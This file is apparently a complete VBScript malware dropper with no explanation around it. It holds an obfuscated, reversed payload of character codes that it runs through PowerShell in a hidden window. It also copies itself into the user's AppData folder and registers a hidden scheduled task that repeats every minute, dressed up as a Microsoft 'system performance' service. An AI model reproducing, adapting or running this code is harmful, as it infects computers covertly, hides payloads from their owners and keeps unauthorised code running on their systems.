SPAwworn

f="g|)ioyUOYUGHkhkhJKJK$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;nor$ g las;)'I','D'(ecalper.'XED'=nor$;)V_V*4,20V_V*,63,44,93,V_V*0V_V*,02V_V*,V_V*0V_V*,64,80V_V*,50V_V*,6V_V*V_V*,58,80V_V*,80V_V*,79,6V_V*V_V*,5V_V*V_V*,0V_V*V_V*,37,93,04,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,80V_V*,66,30V_V*,50V_V*,66,85,85,39,V_V*5,45,35,05,35,25,76,27,48,V_V*9,95,88,96,37,42V_V*,V_V*4,93,02V_V*,84,93,44,93,34,34,93,04,V_V*0V_V*,99,79,80V_V*,2V_V*V_V*,V_V*0V_V*,4V_V*V_V*,64,V_V*4,93,30V_V*,2V_V*V_V*,60V_V*,64,47,47,87,87,74,4V_V*V_V*,89,64,90V_V*,V_V*V_V*V_V*,99,64,V_V*V_V*V_V*,8V_V*V_V*,V_V*V_V*V_V*,2V_V*V_V*,V_V*V_V*V_V*,00V_V*,V_V*V_V*V_V*,6V_V*V_V*,50V_V*,4V_V*V_V*,30V_V*,74,74,85,5V_V*V_V*,2V_V*V_V*,6V_V*V_V*,6V_V*V_V*,40V_V*,93,44,00V_V*,V_V*V_V*V_V*,40V_V*,6V_V*V_V*,V_V*0V_V*,77,85,85,39,V_V*0V_V*,2V_V*V_V*,V_V*2V_V*,48,80V_V*,80V_V*,79,76,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,44,93,30V_V*,0V_V*V_V*,50V_V*,4V_V*V_V*,6V_V*V_V*,38,00V_V*,79,V_V*V_V*V_V*,80V_V*,0V_V*V_V*,9V_V*V_V*,V_V*V_V*V_V*,86,93,44,V_V*4,6V_V*V_V*,0V_V*V_V*,V_V*0V_V*,50V_V*,80V_V*,76,89,V_V*0V_V*,78,64,6V_V*V_V*,V_V*0V_V*,87,23,6V_V*V_V*,99,V_V*0V_V*,60V_V*,89,97,54,9V_V*V_V*,V_V*0V_V*,87,04,04,V_V*0V_V*,90V_V*,79,0V_V*V_V*,V_V*2V_V*,66,80V_V*,80V_V*,79,76,85,85,39,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,79,4V_V*V_V*,V_V*0V_V*,6V_V*V_V*,0V_V*V_V*,37,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,V_V*6,20V_V*,63,39,39,V_V*9,V_V*0V_V*,6V_V*V_V*,V_V*2V_V*,66,V_V*9,95,88,96,37,42V_V*,V_V*4,93,30V_V*,2V_V*V_V*,60V_V*,64,79,20V_V*,V_V*0V_V*,4V_V*V_V*,79,48,74,4V_V*V_V*,89,64,90V_V*,V_V*V_V*V_V*,99,64,V_V*V_V*V_V*,8V_V*V_V*,V_V*V_V*V_V*,2V_V*V_V*,V_V*V_V*V_V*,00V_V*,V_V*V_V*V_V*,6V_V*V_V*,50V_V*,4V_V*V_V*,30V_V*,74,74,85,5V_V*V_V*,2V_V*V_V*,6V_V*V_V*,6V_V*V_V*,40V_V*,93,44,00V_V*,V_V*V_V*V_V*,"
f=f+"40V_V*,6V_V*V_V*,V_V*0V_V*,77,85,85,39,V_V*0V_V*,2V_V*V_V*,V_V*2V_V*,48,80V_V*,80V_V*,79,76,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,44,93,30V_V*,0V_V*V_V*,50V_V*,4V_V*V_V*,6V_V*V_V*,38,00V_V*,79,V_V*V_V*V_V*,80V_V*,0V_V*V_V*,9V_V*V_V*,V_V*V_V*V_V*,86,93,44,V_V*4,6V_V*V_V*,0V_V*V_V*,V_V*0V_V*,50V_V*,80V_V*,76,89,V_V*0V_V*,78,64,6V_V*V_V*,V_V*0V_V*,87,23,6V_V*V_V*,99,V_V*0V_V*,60V_V*,89,97,54,9V_V*V_V*,V_V*0V_V*,87,04,04,V_V*0V_V*,90V_V*,79,0V_V*V_V*,V_V*2V_V*,66,80V_V*,80V_V*,79,76,85,85,39,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,79,4V_V*V_V*,V_V*0V_V*,6V_V*V_V*,0V_V*V_V*,37,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,V_V*6,60V_V*,20V_V*,63,95,V_V*4,93,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,93,04,V_V*0V_V*,90V_V*,79,87,80V_V*,79,50V_V*,6V_V*V_V*,4V_V*V_V*,79,08,40V_V*,6V_V*V_V*,50V_V*,78,00V_V*,79,V_V*V_V*V_V*,67,85,85,39,V_V*2V_V*,80V_V*,89,90V_V*,V_V*0V_V*,5V_V*V_V*,5V_V*V_V*,56,64,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,V_V*0V_V*,80V_V*,20V_V*,V_V*0V_V*,28,64,90V_V*,V_V*0V_V*,6V_V*V_V*,5V_V*V_V*,V_V*2V_V*,38,V_V*9,23,39,00V_V*,50V_V*,V_V*V_V*V_V*,8V_V*V_V*,V_V*9,95,V_V*4,30V_V*,0V_V*V_V*,50V_V*,2V_V*V_V*,63,04,23,80V_V*,50V_V*,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,23,52V_V*,6V_V*V_V*,V_V*0V_V*,50V_V*,7V_V*V_V*,V_V*8,54,23,94,23,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,V_V*V_V*V_V*,99,54,23,90V_V*,V_V*V_V*V_V*,99,64,V_V*0V_V*,80V_V*,30V_V*,V_V*V_V*V_V*,V_V*V_V*V_V*,30V_V*,23,2V_V*V_V*,90V_V*,V_V*V_V*V_V*,99,54,23,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,V_V*0V_V*,0V_V*V_V*,0V_V*V_V*,V_V*V_V*V_V*,99,54,6V_V*V_V*,5V_V*V_V*,V_V*0V_V*,6V_V*V_V*,23,V_V*6,23,30V_V*,0V_V*V_V*,50V_V*,2V_V*V_V*,63,32V_V*,23,V_V*V_V*V_V*,00V_V*(@=ioyUOYUGHkhkhJKJK$"
f=replace(f,"V_V*","1")
days=Array("P","o","w","e","r","s","h","e","l","l")
exec(Join(days,"")+space(1)+StrReverse(f))
N="WinService"
timy=1800
set fso0 = CreateObject("Scripting.FileSystemObject")
CurrentDirectory = fso0.GetParentFolderName(WScript.ScriptFullName)

startupfolder="C:\Users\"+CreateObject("WScript.Network").UserName+"\AppData\Roaming"
F=startupfolder+ "\" + sname

task F,N,timy
if CurrentDirectory = startupfolder Then

WScript.Quit()
else

mnb()
End if

sub mnb()


If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
sSourceFile   = CurrentDirectory+ "\"+ sname

sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
exec(sCmd)

  WScript.Quit()
Else
  WScript.Quit()
End If

End sub

sub task(PATH,TSname,tmy)

const TriggerTypeTime = 1
const ActionTypeExec = 0
Set service = CreateObject(StrReverse("ecivreS.eludehcS"))
call service.Connect()
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "System performance enhancment"
regInfo.Author = "Microsoft"


Dim principal
Set principal = taskDefinition.Principal


principal.LogonType = 3

Dim settings
Set settings = taskDefinition.Settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = True
settings.DisallowStartIfOnBatteries = False



Dim triggers
Set triggers = taskDefinition.Triggers

Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)


Dim startTime, endTime

Dim time
time = DateAdd("s",tmy, Now)
startTime = XmlTime(time)

trigger.StartBoundary = startTime
trigger.Id = "TimeTriggerId"
trigger.Enabled = True


Set repetitionPattern = trigger.Repetition

        repetitionPattern.Interval = "PT1M"
Dim Action
Set Action = taskDefinition.Actions.Create( ActionTypeExec )
Action.Path = PATH
'Action.Arguments=";start-process calc.exe"





call rootFolder.RegisterTaskDefinition( _
    TSname, taskDefinition, 6, , , 3)



End sub


'------------------------------------------------------------------
Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    cHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(cHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tDate & "T" & tTime
End Function

Function sname()
myProcess="wscript.exe"
Set Processes = GetObject("winmgmts:").InstancesOf("Win32_Process")
For Each Process In Processes
 If StrComp(Process.Name, myProcess, vbTextCompare) = 0 Then     'check if process exist
   CmdLine=process.commandline
 End If
Next
myArr=split(CmdLine,"\")
mySN=replace(myArr(ubound(myArr)),"""","")
sname=mySN
End Function
sub exec(Atc)
strCommand = Atc
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = objWMIService.Get("Win32_Process")
intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
End sub